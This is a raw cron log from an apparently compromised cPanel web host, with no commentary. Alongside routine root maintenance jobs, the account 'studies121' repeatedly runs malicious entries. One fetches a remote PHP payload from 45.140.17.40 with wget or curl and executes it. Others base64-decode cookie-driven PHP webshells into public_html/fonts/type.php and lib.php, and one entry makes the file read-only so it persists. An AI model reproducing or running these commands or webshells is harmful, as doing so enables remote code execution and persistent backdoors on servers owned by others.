Sep 22 12:42:01 ip-184-168-122-23 CROND[8516]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 12:42:01 ip-184-168-122-23 CROND[8517]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:42:01 ip-184-168-122-23 CROND[8518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:43:01 ip-184-168-122-23 CROND[9175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:43:01 ip-184-168-122-23 CROND[9177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:43:01 ip-184-168-122-23 CROND[9179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:43:01 ip-184-168-122-23 CROND[9180]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:44:01 ip-184-168-122-23 CROND[9663]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 12:44:01 ip-184-168-122-23 CROND[9662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:44:01 ip-184-168-122-23 CROND[9667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:44:01 ip-184-168-122-23 CROND[9665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:44:01 ip-184-168-122-23 CROND[9668]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:45:02 ip-184-168-122-23 CROND[10146]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:45:02 ip-184-168-122-23 CROND[10148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:45:02 ip-184-168-122-23 CROND[10147]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 12:45:02 ip-184-168-122-23 CROND[10149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:45:02 ip-184-168-122-23 CROND[10152]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 12:45:02 ip-184-168-122-23 CROND[10153]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:45:02 ip-184-168-122-23 CROND[10154]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep 22 12:46:01 ip-184-168-122-23 CROND[10680]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:46:01 ip-184-168-122-23 CROND[10686]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 12:46:01 ip-184-168-122-23 CROND[10687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:46:01 ip-184-168-122-23 CROND[10683]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 12:46:01 ip-184-168-122-23 CROND[10685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:46:01 ip-184-168-122-23 CROND[10682]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:46:01 ip-184-168-122-23 CROND[10684]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 22 12:47:01 ip-184-168-122-23 CROND[11195]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:47:01 ip-184-168-122-23 CROND[11196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:47:01 ip-184-168-122-23 CROND[11197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:47:01 ip-184-168-122-23 CROND[11198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:48:01 ip-184-168-122-23 CROND[11750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:48:01 ip-184-168-122-23 CROND[11752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:48:01 ip-184-168-122-23 CROND[11754]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 12:48:01 ip-184-168-122-23 CROND[11755]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:48:01 ip-184-168-122-23 CROND[11756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:49:01 ip-184-168-122-23 CROND[12157]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:49:01 ip-184-168-122-23 CROND[12159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:49:01 ip-184-168-122-23 CROND[12158]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:49:01 ip-184-168-122-23 CROND[12161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:50:01 ip-184-168-122-23 CROND[12736]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 12:50:01 ip-184-168-122-23 CROND[12742]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 12:50:01 ip-184-168-122-23 CROND[12741]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 12:50:01 ip-184-168-122-23 CROND[12745]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:50:01 ip-184-168-122-23 CROND[12749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:50:01 ip-184-168-122-23 CROND[12747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:50:01 ip-184-168-122-23 CROND[12750]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 12:50:01 ip-184-168-122-23 CROND[12748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:50:01 ip-184-168-122-23 CROND[12751]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 12:51:01 ip-184-168-122-23 CROND[13034]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:51:01 ip-184-168-122-23 CROND[13035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:51:01 ip-184-168-122-23 CROND[13038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:51:01 ip-184-168-122-23 CROND[13037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:52:01 ip-184-168-122-23 CROND[13329]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 12:52:01 ip-184-168-122-23 CROND[13335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:52:01 ip-184-168-122-23 CROND[13337]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:52:01 ip-184-168-122-23 CROND[13338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:52:01 ip-184-168-122-23 CROND[13336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:53:01 ip-184-168-122-23 CROND[13660]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:53:01 ip-184-168-122-23 CROND[13661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:53:01 ip-184-168-122-23 CROND[13662]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:53:01 ip-184-168-122-23 CROND[13667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:54:01 ip-184-168-122-23 CROND[14280]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 12:54:01 ip-184-168-122-23 CROND[14283]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:54:01 ip-184-168-122-23 CROND[14284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:54:01 ip-184-168-122-23 CROND[14282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:54:01 ip-184-168-122-23 CROND[14285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
